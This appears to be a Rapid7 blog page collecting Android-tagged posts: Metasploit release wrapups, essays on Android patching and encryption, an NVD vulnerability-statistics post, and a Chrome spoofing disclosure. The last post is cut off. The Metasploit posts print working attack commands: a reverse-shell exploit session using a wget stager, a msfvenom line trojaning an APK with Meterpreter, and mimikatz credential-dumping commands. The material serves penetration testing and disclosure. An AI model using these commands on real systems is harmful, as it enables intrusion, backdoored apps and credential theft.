Rapid7 Blog

Android  

Metasploit Framework Valentines Update

Valentines day is just around the corner! What could be a nicer gift for your sweetie than a bundle of new Metasploit Framework updates? The community has been as busy as ever delivering a sweet crop of sexy exploits, bug fixes, and interesting new features.…

Valentines day is just around the corner! What could be a nicer gift for your sweetie than a bundle of new Metasploit Framework updates? The community has been as busy as ever delivering a sweet crop of sexy exploits, bug fixes, and interesting new features. Everyone Deserves a Second Chance Meterpreter Scripts have been deprecated for years in favor of Post Exploitation modules, which are much more flexible and easy to debug. Unfortunately, the Internet still abounds with blogs and other advice still recommending their use, and it is clear the word still hasn't gotten out. In a previous Metasploit release, we attempted an experiment removing all of the scripts that already had Post Exploitation modules. Unfortunately, this caused even more confusion since it looked like Metasploit was broken. Now, Metasploit will kindly suggest that users explore the vast world of Post modules instead. For now, all of the built-in Meterpreter scripts you know and love are back for one last dance, but you should really look at dumping those guys. Remember, there are many more Post modules in the sea! Traverse your Way into my Life With this release, we have a number of directory traversal updates, both offensive and defensive. First off, we have added a module for exfiltrating arbitrary data from a Cisco Firepower management console. The default credentials are also documented, so if you run into one of these in the wild, there is a good chance you can make a special connection. And in the "it's not you, it's me" department, Justin Steven has been busy finding and fixing a number of directory traversal bugs in Metasploit's session handler, that can be exploited if you interact with a rogue Meterpreter session. Of course you should practice "safe sess(ions)", but if you can't, update your Metasploit Framework and get protected. You Stole my Creds, my Phone, my Car, and my Heart If you're looking for credentials to add to your little black book, Metasploit release also adds credential extraction modules for Advantech WebAccess, Metrocontrol Weblog, and Cisco Firepower Management Console. And once you have filled your cred list, you can now manipulate them in a more powerful way thanks to improvements in credential management. Android Meterpreter adds a number of new features sure to make keeping up with your bae even easier (that doesn't sound creepy at all does it!) Android Meterpreter now supports stageless HTTPS, which makes it easier to keep your payloads secure, fast, and reliable. If you have trouble with your Android sessions falling asleep after you connect, keep them going all night (and day) long with the new wakelock command. Metasploit makes its first foray into car hacking with a new hardware bridge session type, along with a number of new modules for administering and exploiting OBD-II / CANbus networks in modern vehicles. But, it's not limited to just these, you can add your own hardware devices by implementing the HWBridge specification. Don't let your car spoil your next date, hack back! There are many more improvements and modules to enjoy as well, and they are all available now. So why not update your console with someone special, and make everyday a very special Metasploit Valentines day. For full details, see the latest detailed Metasploit release notes: https://community.rapid7.com/docs/DOC-3575

Weekly Metasploit Wrapup

Welcome back to the Metasploit Weekly Wrapup! It's been a while since the last one, so quite a bit has happened in that time including 75 Pull Requests. Stageless mettle The rewrite of meterpreter for POSIX systems, mettle, now supports a stageless mode. You can…

Welcome back to the Metasploit Weekly Wrapup! It's been a while since the last one, so quite a bit has happened in that time including 75 Pull Requests. Stageless mettle The rewrite of meterpreter for POSIX systems, mettle, now supports a stageless mode. You can now build standalone static executables for almost a dozen architectures and run them on everything from small home routers to cell phones to servers and mainframes. It can also take its configuration from the command line, so you don't even need a different executable for different handler locations. UDP pivoting The new mettle supports pivoting just like Windows meterpreter, and both have had some improvements for forwarding UDP packets in this update. This is particularly useful with auxiliary/scanner/discovery/udp_sweep, which tries a bunch of different protocol probes on a range of ports to quickly identify UDP services. Android Using APK injection to trojan an existing Android app is a cool trick for social engineering folks into installing your backdoor, and it can get you a lot of info from a phone. One downside is that Android's privilege seperation system prevents you from reading the data owned by other apps, so there are some things you might want to steal that you won't have access to. That's where Local Privilege Escalation exploits become essential. This week's update includes a new LPE for a relatively old vulnerability, the put_user bug which was exploited in the wild in 2013, as well as updates to the towelroot exploit allowing it to target more devices. This week's update adds CSV and vCard output formats to Android Meterpreter's dump_contacts command. This means you can now dump an Android device's contact list in an importable format. Ever find yourself in a situation where you can't back up your phone contacts normally? Meterpreter to the rescue! If you can shell your phone - which you should be able to if it's yours - the dump_contacts command now gives you the option of a normal text file, CSV, or vCard for the output format. Here's how to use it: meterpreter > dump_contacts -h Usage: dump_contacts [options] Get contacts list. OPTIONS: -f Output format for contacts list (text, csv, vcard) -h Help Banner -o Output path for contacts list meterpreter > dump_contacts -f csv [*] Fetching 4 contacts into list [*] Contacts list saved to: contacts_dump_20170121174248.csv meterpreter > dump_contacts -f vcard [*] Fetching 4 contacts into list [*] Contacts list saved to: contacts_dump_20170121174258.vcf wget/curl command stagers If you're familiar with command injections, you know that downloading a payload from a remote host and then executing it can be more efficient than writing the payload to the target incrementally. This update brings wget(1) and curl(1) command stagers (CmdStager) to Metasploit in environments that need it most (read: embedded). With the option of HTTP or HTTPS, a small embedded device can now fetch payloads over either protocol. To use the new command stagers in your module, you can set flavor: wget or flavor: curl in your execute_cmdstager call, or you can set the flavor in CmdStagerFlavor in your info hash. Lastly, if you're already running the module, you can change the flavor with CMDSTAGER::FLAVOR, but that'll work only if the module doesn't define a required flavor. Here's an example of setting CMDSTAGER::FLAVOR: msf > use exploit/linux/http/apache_continuum_cmd_exec msf exploit(apache_continuum_cmd_exec) > set rhost 192.168.33.129 rhost => 192.168.33.129 msf exploit(apache_continuum_cmd_exec) > set payload linux/x64/mettle_reverse_tcp payload => linux/x64/mettle_reverse_tcp msf exploit(apache_continuum_cmd_exec) > set cmdstager::flavor wget cmdstager::flavor => wget msf exploit(apache_continuum_cmd_exec) > set lhost 192.168.33.1 lhost => 192.168.33.1 msf exploit(apache_continuum_cmd_exec) > run [*] Started reverse TCP handler on 192.168.33.1:4444 [*] Injecting CmdStager payload... [*] Using URL: http://0.0.0.0:8080/XlM6PUw74P [*] Local IP: http://192.168.1.3:8080/XlM6PUw74P [*] Meterpreter session 1 opened (192.168.33.1:4444 -> 192.168.33.129:55171) at 2017-01-27 13:27:54 -0600 [*] Command Stager progress - 100.00% done (114/114 bytes) [*] Server stopped. meterpreter > Notice how small the command stager is. If we were to write the payload out with echo(1) or printf(1) or somesuch, we'd be sending the payload as hex strings... which will take a while to write to disk. History command Metasploit stores your msfconsole history in ~/.msf4/history but sometimes you only want dump out pieces of it. The new history command works similarly to the bash command of the same name letting you do just that. workspace -v The workspace command now takes a verbose flag to dump out some statistics about the stuff you've collected in each workspace. It shows the number of hosts, vulns, creds, loots, and notes. 11:52:25 192.168.99.1 nasa j:0 s:0 exploit(psexec) > workspace default fbi * nasa wh.gov 11:52:45 192.168.99.1 nasa j:0 s:0 exploit(psexec) > workspace -v Workspaces ========== current name hosts services vulns creds loots notes ------- ---- ----- -------- ----- ----- ----- ----- default 5 2 3 3 0 8 fbi 98 165 49 155 301 72 * nasa 32 81 41 14 33 20 wh.gov 1 9 0 0 0 0 11:52:45 192.168.99.1 nasa j:0 s:0 exploit(psexec) > to_handler command Complementing the handler command is another new command, to_handler, that does the same thing, but takes its settings from the context of the currently-selected payload module. At some point it is likely that these two things will be unified, but for now it's pretty useful as is. 12:07:10 192.168.99.1 nasa j:0 s:0 payload(reverse_https) > options Module options (payload/windows/meterpreter/reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The local listener hostname LPORT 8443 yes The local listener port LURI no The HTTP Path 12:07:11 192.168.99.1 nasa j:0 s:0 payload(reverse_https) > set LHOST 192.168.99.1 LHOST => 192.168.99.1 12:07:27 192.168.99.1 nasa j:0 s:0 payload(reverse_https) > 12:07:29 192.168.99.1 nasa j:0 s:0 payload(reverse_https) > set LPORT 8888 LPORT => 8888 12:07:39 192.168.99.1 nasa j:0 s:0 payload(reverse_https) > to_handler [*] Payload Handler Started as Job 2 [*] Started HTTPS reverse handler on https://0.0.0.0:8888 [*] Starting the payload handler... 12:07:41 192.168.99.1 nasa j:1 s:0 payload(reverse_https) > jobs -v Jobs ==== Id Name Payload Payload opts URIPATH Start Time Handler opts -- ---- ------- ------------ ------- ---------- ------------ 2 Exploit: multi/handler windows/meterpreter/reverse_https https://192.168.99.1:8888 2017-01-27 12:07:40 -0600 https://0.0.0.0:8888 Revamped kiwi Meterpreter now has a revamped kiwi extension, replacing the old system of specific TLVs with a much simpler interface to the mimikatz command system. What that means for developers is a lot fewer moving parts between the two codebases and easier, streamlined updates. What that means for users is getting the latest and greatest mimikatz in Meterpreter a lot sooner. This brings kiwi up to mimikatz version 2.1, and now works on Windows XP SP3 and Windows 2003 SP1 all the way up to 10 and 2016. In particular the new dcsync command is fabulous for stealing hashes from a domain controller. This grabs info from the DC's user database so, just like when parsing NTDS.dit, it gets historical hashes as well as the one currently in use for the given user. As before, the kiwi client extension has commands for most of the things you want to get out of mimikatz: Kiwi Commands ============= Command Description ------- ----------- creds_all Retrieve all credentials (parsed) creds_kerberos Retrieve Kerberos creds (parsed) creds_msv Retrieve LM/NTLM creds (parsed) creds_ssp Retrieve SSP creds creds_tspkg Retrieve TsPkg creds (parsed) creds_wdigest Retrieve WDigest creds (parsed) dcsync Retrieve user account information via DCSync (unparsed) dcsync_ntlm Retrieve user account NTLM hash, SID and RID via DCSync golden_ticket_create Create a golden kerberos ticket kerberos_ticket_list List all kerberos tickets (unparsed) kerberos_ticket_purge Purge any in-use kerberos tickets kerberos_ticket_use Use a kerberos ticket kiwi_cmd Execute an arbitary mimikatz command (unparsed) lsa_dump_sam Dump LSA SAM (unparsed) lsa_dump_secrets Dump LSA secrets (unparsed) wifi_list List wifi profiles/creds If that doesn't cover what you need, you can also send commands directly to the underlying mimikatz shell, so you can access everything that we don't have a direct wrapper for. And then you run the most important command that mimikatz offers: meterpreter > kiwi_cmd coffee ( ( ) ) ._ _ _ . | |] \ / `----' New Modules Exploit modules (6 new) Android get_user/put_user Exploit by cubeundcube, fi01, and timwr exploits CVE-CVE-2013-6282 Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability by sinn3r, and Matt exploits CVE-CVE-2016-6433 Zyxel/Eir D1000 DSL Modem NewNTPServer Command Injection Over TR-064 by wvu, todb, 0x27, Kenzo, and Michael Messner PHPMailer Sendmail Argument Injection by Dawid Golunski, and Spencer McIntyre exploits CVE-CVE-2016-10045 at(1) Persistence by Jon Hart DiskBoss Enterprise GET Buffer Overflow by Gabor Seljan, and vportal Auxiliary and post modules (4 new) BAVision IP Camera Web Server Login by sinn3r Chromecast Wifi Enumeration by wvu Windows Local User Account Hash Carver by p3nt4 Windows 'Run As' Using Powershell by p3nt4 Get it As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub: Pull Requsts 4.13.6...4.13.15 Full diff 4.13.6...4.13.15

Pokemon Go, Security, and Obsolescence

Pokemon Go started it. The crusty old house cell phone, which we had years ago ported from a genuine AT&T land line to a T-Mobile account, suddenly caught the attention of my middle son. "Hey Dad, can I use that phone to…

Pokemon Go started it. The crusty old house cell phone, which we had years ago ported from a genuine AT&T land line to a T-Mobile account, suddenly caught the attention of my middle son. "Hey Dad, can I use that phone to catch Pokemon at the park?" "Sure! Have fun, and don't come back until sundown!" A few minutes later, he had hunted down his first Pikachu, which apparently required running around the block in Texas summer heat a few times. Sweat-soaked but proud, he happily presented his prize. I could get used to this! The kids were getting out of the house, exploring the neighborhood, having fun, and I was getting a little peace and quiet. Then one day, Pokemon Go stopped working, stating that it did not support 'rooted' phones. First some back story. Our 'house phone' role is generally filled by the most-working last-gen reject device that is too old to be useful as a daily driver, but too new to throw away. In this case, it was a Google Nexus 4. I have always preferred the Google phones over other third parties for a number of reasons: They're cheap if you get the last generation (and sometimes the current). They usually lead the pack when it comes to software updates and hackability. However, given the industry's appetite for quick turnarounds and obsolescence cycles, (and in spite of Google's generally good support) this phone is end-of-life, and has not received an official firmware update in over a year. In fact, this phone is the amalgamation of two Nexus 4's, combined into a frankenstein assemblage of the most-working screen, battery, and charging ports of the original pair. Since it has been a year and a half since Google released a firmware for this phone, I had it running the next-best thing: Cyanogenmod 13, which backported Android 6 to this hardware. Now, this junker phone is up-to-date as much as the Android Open Source Project (AOSP) allows. But, there was now a show-stopper: you now can't run Pokemon Go on rooted phones using Cyanogenmod. Technically, there is a new set of hacks, but this is a cat-and-mouse game, but there comes a time in your life when you just want things to work. And they were already hooked. Why did Niantic decide to impose this restriction after several months of unrestricted access? It comes down to cheaters. People were rooting their phones specifically to fake GPS coordinates to get rare Pokemon, grow eggs, etc. Since having root access is also required to install non-stock firmware, in this guilty-until-proven-innocent model, we basically get to choose between two possibilities: get up-to-date software but sacrifice the ability to run some applications, or run increasingly out-of-date 'official' software, for the sake of satisfying a DRM or anti-cheating scheme. In the end, I decided that the stock firmware still allowed upgrading a lot of the key components via the Google's Play Store, the real core around which an increasing amount of the software in the Android ecosystem relies. Sure, I'm not getting the latest advances in encrypted filesystems, kernel hardening, or process isolation in the latest versions of Android, but it's a tradeoff. Maybe the phone will have died completely by the time the next exploitable bug in libstagefright rears its head. But, maybe it already has. It took over a year for enough of the moving parts for a reliable exploit for CVE-2015-3864, one of the 'StageFright' series of vulnerabilities, to come together within Metasploit. The exploit needed new payloads, new techniques, and a number of independent research projects to become useful outside of the proof-of-concept realm. In the end, it works very well, even better than the Metaphor exploit from earlier this year, and can be easily targeted to any vulnerable Nexus phone. Ironically, the very openness of the Google Nexus ecosystem made porting the exploit to those firmware builds particularly easy. In contrast, Samsung firmware, which contains many proprietary additions to the base Android system, and is not open-source, is harder to target simply because it is harder to examine. In spite of this, it was still possible to target Samsung phones as well. Effectively, with enough effort, any firmware is exploitable. It is just a question of time. When you think of exploits in the StageFright family, think of the vector: someone sends a special text message and take over a phone without anyone even reading it. You get an email, and without opening it, code is already executed on your device. It's a simple concept, but the fix is not nearly as straightforward. Automatic parsing of metadata in media files is a commonly-researched and targeted vulnerability in many different products. Adobe flash has had nasty vulnerabilities in its MP3 metadata parsing code earlier this year. Apple iOS has been vulnerable a number of times to similar attacks. Just last month, similar vulnerabilities in Android's libutils library were found, which could be attacked in a similar way. The exploit that we included in Metasploit for CVE-2015-3864 only targets one vector (web browser) and one file type (MP4 video files). However, there are many other vectors and file types that could also be exploited in the same family, that were discovered around the same time period as CVE-2015-3864. Not only that, but more vectors and file types have been found since the original round of StageFright branded vulnerabilities were hot in the news, and quietly patched. Of course, none of these patches have made it into the official firmware for my Nexus 4. I even had to do a double-take in researching this article, since Wikipedia claimed Android 5.1.1 was last updated 2 months ago, while I knew the phone hadn't gotten an over-the-air update in some time. To really know if you're up-to-date, you have to look at the build number, Nexus 4 being on LMY48T while the latest is LMY49M. It's unlikely that the average consumer with a phone running Android '5.1.1' would be able to know difference between a vulnerable or up-to-date build number, much less the average business with a bring-your-own-device policy. The choice between running the software you want, like Pokemon Go, and the quick road to obsolete devices in the Android ecosystem, at best forces users to make a choice between security and functionality. The theoretical exploit chains being patched this year can easily turn into next year's reliable Metasploit module. Maybe it's time to bring back to a land line.

Using the National Vunerability Database to Reveal Vulnerability Trends Over Time

This is a guest post by Ismail Guneydas. Ismail Guneydas is senior technical leader with over ten years of experience in vulnerability management, digital forensics, e-Crime investigations and teaching. Currently he is a senior vulnerability manager at Kimberly-Clark and an adjunct faculty at Texas A&…

This is a guest post by Ismail Guneydas. Ismail Guneydas is senior technical leader with over ten years of experience in vulnerability management, digital forensics, e-Crime investigations and teaching. Currently he is a senior vulnerability manager at Kimberly-Clark and an adjunct faculty at Texas A&M. He has M.S.  in computer science and MBA degrees. 2015 is in the past, so now is as good a time as any to get some numbers together from the year that was and analyze them.  For this blog post, we're going to use the numbers from the National Vulnerability Database and take a look at what trends these numbers reveal. Why the National Vulnerability Database (NVD)?  To paraphrase Wikipedia for a moment, it's a repository of vulnerability management data, assembled by the U.S. Government, represented using the Security Content Automation Protocol (SCAP). Most relevant to our exercise here, the NVD includes databases of security-related software flaws, misconfigurations, product names, impact metrics—amongst other data fields. By pouring through the NVD data from the last 5 years, we're looking to answer following questions: What are the vulnerability trends of the last 5 years, and do vulnerability numbers indicate anything specific? What are the severities of vulnerabilities? Do we have more critical vulnerabilities or less? What vendors create most vulnerable products? What products are most vulnerable? Which OS? Windows OSX, a Linux distro? Which mobile OS? IOS, Android, Windows? Which web browser? Safari, Internet Explorer, Firefox? Vulnerabilities Per Year That is correct! Believe it or not, there was a 20% drop in the number of vulnerabilities compared to the number of vulnerabilities in 2014. However, if you look at the overall trending growth in the last 5 years, the 2015 number seems to be consistent with the overall growth rate. The abnormality here was the 53% increase in 2014. If we compare 2015's numbers with 2013, then we see  24% increase. All in all though, this doesn't mean we didn't have an especially bad year as we did in 2014 (the trend shows us we will have more vulnerabilities in the next few years as well). That's because when we look closely at the critical vulnerabilities, we see something interesting. There were more critical vulnerabilities in 2015 then 2014. In 2014 we had more vulnerabilities with CVSS 4, 5, and 6; however, 2015 had more vulnerabilities with CVSS 7, 8, 9 and 10! As you see above there are 3376 critical vulnerabilities in 2015 where as there were only 2887 critical vulnerabilities in 2014. (That is a 17% increase.) In other words, the proportion of critical vulnerabilities is increasing overall. That means we need to pay close attention to our vulnerability management programs and make sure they are effective—fewer false positives and negatives—up-to-date with recent vulnerabilities, and faster with shorter scan times. Severity of Vulnerabilities This chart shows weight distribution of 2015 vulnerabilities, based on CVSS score. As (hopefully) most of you know, 10 is the highest/most critical level, whereas 1 is the least critical level. There are many vulnerabilities with CVSS 9 and 10. Let's check following graph that gives more clear picture: This means 36% of the vulnerabilities were critical (CVSS >=7). The average CVSS is 6.8 so that is at the boundary to be critical. The severity of vulns is increasing, but this isn't to say it's all bad. In fact, it really exposes a crucial point: That you have to be deploying a vulnerability management program that separates the weak from the chaff. Effective vulnerability management program will help you to find and then remediate vulnerabilities in your environment. Vulnerability Numbers Per Vendor Let's analyze national vulnerability database numbers by checking vendors' vulnerabilities. The shifting tides in vulnerabilities doesn't stop for any company, including Apple. The fact is there are always vulnerabilities, the key has to be detecting these before they are exploited. Apple had the most number of vulnerabilities in 2015.  Of course with many iOS and OSX vulnerabilities out there in general, it's no surprise this number went up. Here is the full list: Apple jumped from being number 5th in 2014.  Microsoft was number 3rd and Cisco was number 4th. Surprisingly Oracle (owner of Java) did well this year and took 4th place (they were number 2 last year). Congratulations (?) to Canonical and Novel, as they were not in top 10 list last year (they were 13rd and 15th).  So in terms of prioritization, with Apple making a big jump last year, if you have a lot of iOS in your environment, it's definitely time to  make sure you've prioritized those assets accordingly. Here's a comparison chart that shows number of vulnerabilities per vendor for 2014 and 2015. Vulnerabilities Per OS In 2015, according to the NVD, OSX had the most vulnerabilities, followed by Windows 2012 and Ubuntu Linux. Here most vulnerable Linux distro is Ubuntu. Opensuse is the runner up and then Debian Linux. Interestingly Windows 7, the most popular desktop application based on its usage, is reported to be less vulnerable then Ubuntu. (That may surprise a few people!) Vulnerabilities Per Mobile OS IPhone OS has the highest number of vulnerabilities published in 2015. Windows and Android came after iPhone. 2014 was no different. iPhone OS had the highest number of vulnerabilities and Windows Rt and Android followed it. Vulnerabilities Per Application Vulnerabilities Per Browser IE had highest number of vulnerabilities in 2015. In 2014, the order of product with the highest number of vulnerabilities were exactly same. (IE, Chrome, Firefox, Safari.) Summary Given the trends over the past few years reported via the NVD, we should expect more vulnerabilities to be published with higher CVSS score this year. Moreover, I predict that mobile OS will be hot area for security — as more mobile security professionals find and report mobile OS vulnerabilities, we'll see an increase in Mobile OS vulnerabilities as well. It's all about priorities. We only have so many hours in the day and resources available to us to remediate what we can. But if you take intel from something like the NVD and layer that over the visibility you have into your own environment, you can use this information to help build a good to-do list built by priorities, and not fear.

Weekly Metasploit Wrapup

A little entropy goes a long way Meterpreter can communicate via straight TCP or over HTTP(S), but whatever the transport, the protocol is pretty much the same. It uses what is called a TLV protocol, for Type-Length-Value. In truth, meterpreter actually does it in…

A little entropy goes a long way Meterpreter can communicate via straight TCP or over HTTP(S), but whatever the transport, the protocol is pretty much the same. It uses what is called a TLV protocol, for Type-Length-Value. In truth, meterpreter actually does it in a different order: Length, Type, Value. Each meterpreter packet is a collection of TLVs and is itself a TLV. That makes it so you can skip over a type or even a whole packet without having to know how to parse it, but that doesn't really matter. What's important for us when talking about what this looks like on the wire is that each packet's method is a recognizable string in the header. That in turn makes it easier for IDS/IPS to get angry with our packets. And we don't like making them angry. As of this week, that recognizable string is no longer recognizable. Instead, it's xor'd with a random value so no two packet headers are alike (probablistically). More Android fun Debugging like a boss ADB is a debugging tool for android that you can enable by turning on the phone's developer mode. It can run as a TCP server, much like GDB server does, and convincing a debugger to run code for you is pretty straight forward, since that's kinda what it's for. Typically, remote debuggers aren't exposed to real networks, but you never know. Where this is more likely to show up is on a developer's machine, where the adb service is used to communicate with a local emulator or a device connected via USB. Now with exploit/android/adb/adb_server_exec, you can upload a native payload to those devices for fun and profit. Backdoor all the things For a longer term solution, you might want to take advantage of the new ability in msfvenom to use an existing APK as a template. First, you'll need a couple of external tools -- jarsigner from any ol' java sdk and apktool. Once those are squared away, you can take something like Facebook's APK and inject a Meterpreter payload on top of it: msfvenom -x foo.apk -p android/meterpreter/reverse_tcp LHOST=8.8.8.8 -o bar.apk Bad intentions, or Badass intentions? Intents are neat. They're basically a way to tell an android device, "run whatever app is registered to handle this thing." One of the most common is android.intent.action.VIEW, which handles images and web pages and such. There's now a new command called activity_start that lets you manually invoke arbitrary intents. So once you've got that Meterpreter session, you can do this activity_start intent://youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1#Intent;scheme=http;action=android.intent.action.VIEW;end and have everyone's favorite song play on youtube. There's another one called BOOT_COMPLETED that lets you register a thing to run when the phone is finished booting; basically built-in persistence. We've had this one enabled for a while now, but we haven't mentioned it here yet: as long as you install the APK and run it once, the device will kindly restart it everytime it comes back on. New Modules Exploit modules (2 new) Android ADB Debug Server Remote Payload Execution by joev D-Link DCS-930L Authenticated Remote Command Execution by Nicholas Starke Auxiliary and post modules (4 new) Server Opcode 0x534 Denial of Service by Gianni Gnesa, and William Webb exploits OSVDB-132307 Jenkins-CI Unauthenticated Script-Console Scanner by Jeffrey Cap, and altonjx Wordpress XML-RPC system.multicall Credential Collector by sinn3r, KingSabri, and William Telisca IPS Lock Cisco IP Phone Control by Fakhir Karim Reda, and zirsalem Get it As always, you can update to the latest Metasploit Framework with a simple msfupdate and the full diff is available on GitHub: 4.11.7...4.11.10

The Haves And Have-Nots in Device Security

Today's story about the ongoing issues law enforcement is running into with Apple's encrypted-by-default design illustrates a major difference between the iPhone and the Android security models. Encryption by default on older Apple devices makes it impossible for anyone without the password to decrypt the…

Today's story about the ongoing issues law enforcement is running into with Apple's encrypted-by-default design illustrates a major difference between the iPhone and the Android security models. Encryption by default on older Apple devices makes it impossible for anyone without the password to decrypt the phone. This, in turn, becomes a problem for law enforcement, since it means that barring an exploitable boot-time vulnerability, no one can peek in on personal data stored on an iPhone. This leaves not only law enforcement with a compelling reason and a court order, but also criminal and espionage organizations out in the cold. Of course, an individual or rogue element in a law enforcement organization also cannot spy on most iPhone users' stored data with or without judicial oversight. This is itself a pretty strong guarantee of civil liberties, and helps protect Fourth Amendment guarantees in the U.S.The fact that the U.S. Department of Justice is still asking for Apple's help, and Apple's statements that it's technically unfeasible to help the DoJ, is good news for end users who are concerned with personal privacy. I can appreciate the government's frustration with device encryption in cases where they suspect the evidence is there and the device's owner is being uncooperative. But, the fact is that if there is a backdoor to device encryption, or other means for law enforcement to subvert encryption with a court order, it would mean there is a technical capability for anyone to do the same as soon as the mechanism became known, and judicial oversight and good intentions become optional.Unfortunately, Android phones do not enjoy this level of across-the-board privacy protection. According to the Android Compatibility Definition, there are many, many mid-range and lower-end devices that are exempt from encryption by default, even in Marshmallow, the latest named release. Section 9.9 exempts devices that don't meet a minimum performance threshold, and other devices may define a default (and therefore, discoverable) password to the encryption key in certain implementation circumstances.The lack of encryption-by-default on Android is problematic from a civil liberties perspective. Android devices are less expensive than iPhones, and account for over 80% of all smartphones. So, while iPhone continues to provide the safer default configuration, the vast majority of people who use smartphones as their primary Internet device will not enjoy the privacy-enhancing benefits of on-board encryption.It's a shame that there exists this haves and have-nots dichotomy when it comes to default privacy guarantees. I'm hopeful that people who value the security of their privacy are aware of the differences between Android devices, and how they compare to their Apple counterparts. While it's possible to enable local disk encryption on many Android devices, end users rarely poke into settings beyond the defaults. Put simply, people shouldn't have to be rich enough to afford, or expert enough to configure, a device for basic privacy and security in order to enjoy their benefits.

Disclosure: Android Chrome Address Bar Spoofing (R7-2015-07)

Android Chrome Address Bar Spoofing (R7-2015-07)SummaryDue to a problem in handling 204 "No Content" responses combined with a window.open event, an attacker can cause the stock Chrome browser on Android to render HTML pages in a misleading context. This effect was confirmed on…

Android Chrome Address Bar Spoofing (R7-2015-07)SummaryDue to a problem in handling 204 "No Content" responses combined with a window.open event, an attacker can cause the stock Chrome browser on Android to render HTML pages in a misleading context. This effect was confirmed on an Android device running Lollipop (5.0). An attacker could use this vulnerability to convince a victim of a phishing e-mail, text, or link to enter private credentials to an untrusted page controlled by the attacker.CreditRafay Baloch discovered the vulnerability, and worked with Joe Vennix to improve the proof of concept to demonstrate the vulnerability. Both are independent researchers who worked with Rapid7 to handle disclosure, per Rapid7's disclosure policy.ExploitationRafay Baloch has provided a detailed analysis of this bug, including a proof of concept demonstration, at his site, Rafay's Hacking Articles. An example, unrendered version of the proof of concept from Joe Vennix can be seen at this JSFiddle.MitigationThe Android security team responded to Rapid7 that, upon learning of the vulnerability, patches were committed to both KitKat (4.4.x) and Lollipop (5.0.x) main distributions. Users are advised to contact their carriers to determine if they have received updated versions of these operating systems.In the event that patches are unavailable for a particular handset or carrier, users are advised to avoid using the Chrome browser to perform authentication, especially when following links from untrusted or unverifiable sources until patches are available.Disclosure TimelineMon, Feb 09, 2015: Reported to security@android.com by Rafay BalochThu, Mar 26, 2015: Disclosed to Rapid7 and Joe VennixWed, Apr 01, 2015: Proof of Concept improved by Joe VennixFri, Apr 03, 2015: Reported to security@android.com and CERT/CC by Rapid7Tue, Apr 07, 2015: Vendor responds, patch availabile on LollipopThu, Apr 30, 2015: Vendor responds, patch availabile on KitKatMon, May 18, 2015: Public disclosure

Weekly Metasploit Wrapup: UXSS, Towelroot, and Sayonara to Ruby 1.9!

Metasploit 4.11.1 Released! Hi all! I'm happy to announce that Metasploit 4.11.1, the latest dot version of Metasploit Community, Express, and Pro has been released. You can fetch the updates using the usual methods -- in the UI, with msfupdate, or…

Metasploit 4.11.1 Released! Hi all! I'm happy to announce that Metasploit 4.11.1, the latest dot version of Metasploit Community, Express, and Pro has been released. You can fetch the updates using the usual methods -- in the UI, with msfupdate, or with apt-get, depending on your binary distribution. Git source checkouts don't really notice these version bumps, of course, since the normal bundle install && git pull -r commands will take care of everything, and if you're that sort, you're tracking bleeding-edge HEAD anyway. The release notes have been published here, thanks to Metasploit Documentrix Thao Doan, but the fundamental reason for this update is to get Metasploit up to Ruby 2.1.5. So, you should enjoy some fairly significant performance speedups once you get yourself updated -- it's like adding racing stripes to the side. Adventures in UXSS This has been a pretty big week with universal cross-site scripting (UXSS) bugs. Unlike your usual XSS, UXSS bugs live in your browser, not a particular web page, which spells trouble for your view of the World Wide Web. In order to demonstrate the disastrous effects of leaving UXSS unpatched, we disclosed R7-2015-02, a bug in the implementation of X-Frame-Options (XFO) on the web version of Google's Play Store. This XFO gap can be combined with previously disclosed UXSS bugs present in several Android browsers. Unfortunately, it looks like Google is pretty adamant about not developing patches for pre-KitKat Android browsers, so expect to see the trend in Android malware masquerading as legitimate Play Store apps march steadily forward. More broadly, non-malicious, but merely unscrupulous, app developers have every incentive to continue preying on these (often brand new) lower-end devices, since installing and triggering their apps without user knowledge or assent is pretty drop-dead easy and I imagine a fine way to boost your installation numbers. It's important to reiterate that the module by Joe Vennix depends on a gap in X-Frame-Option based protections around the Play store. It's possible that Google could mitigate this attack for pre-KitKat browsers on that front, but unfortunately, XFO protections are really difficult to implement correctly today. XFO is great for isolating certain, valuable pages from getting iframed in some other web site for the purpose of clickjacking. However, relying on XFO as a defense against all Javascript injection seems to be a bit Quixotic quest. It's just too easy to miss one important vector, especially if you have a domain footprint as big as google.com -- or come to think of it, microsoft.com. Speaking of Microsoft, this week, Metasploit exploit warrior-monk Wei _sinn3r Chen also banged out a UXSS exploit for a vulnerability disclosed in the most recent versions of Microsoft Internet Explorer. Patch Tuesday has come and gone, but alas, this Same-Origin Policy (SOP) busting bug has not been fixed yet. So, if your current penetration testing engagement includes a phishing component, and your client makes heavy use of Internet Explorer and some intranet-based Web services, now is a pretty excellent time to get some XSS action on those sweet, sweet trusted local intranet zones. Metasploit ships with a few sample UXSS snippets to get you thinking about how to best leverage a UXSS to demonstrate risk. Note, while the currently committed module does not support automatic XFO-busting today (unlike the Play store module), it doesn't mean that evading XFO is impossible. While such evasions tend to be fairly site-specific, the tactic of sending an overlong URL to trigger a 414 (rather than a 404) response code seems to be pretty reliable for many web server configurations. In other words, if you'd like to take a crack at updating the IE UXSS module to be more generally useful in the face of XFO, patches are accepted. New Modules Since last week, we have four new exploits, and two new auxiliary modules (the latter being the two above-discussed UXSS-based modules). At long last, we're now shipping a towelroot-workalike module for local rooting of Android devices, thanks primarily to Tim Wright, Brent Cook, and of course, noted iPhone hacker and gentleman-about-town, Geohot. Also in the realm of local privilege escalation is Jay Smith and Matt Bergin's implementation of MS14-070, a tricky elevation bug in some versions of tcpip.sys (details on Korelogic's blog). We don't often do a lot in the way of local exploits, given that Metasploit is much more remote-oriented, but it's nice to see two come in on the same week. Exploit modules Android Futex Requeue Kernel Exploit by Pinkie Pie, geohot, and timwr exploits CVE-2014-3153 WordPress WP EasyCart Unrestricted File Upload by Kacper Szurek and Rob Carr exploits OSVDB-116806 Windows tcpip!SetAddrOptions NULL Pointer Dereference by Jay Smith and Matt Bergin exploits CVE-2014-4076 Achat v0.150 beta7 Buffer Overflow by Balazs Bucsay and Peter Kasza Auxiliary and post modules Android Browser RCE Through Google Play Store XFO by joev and Rafay Baloch exploits CVE-2014-6041 Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection by joev, sinn3r, David Leo, and filedescriptor exploits OSVDB-117876 Windows File Gather File from Raw NTFS by Danil 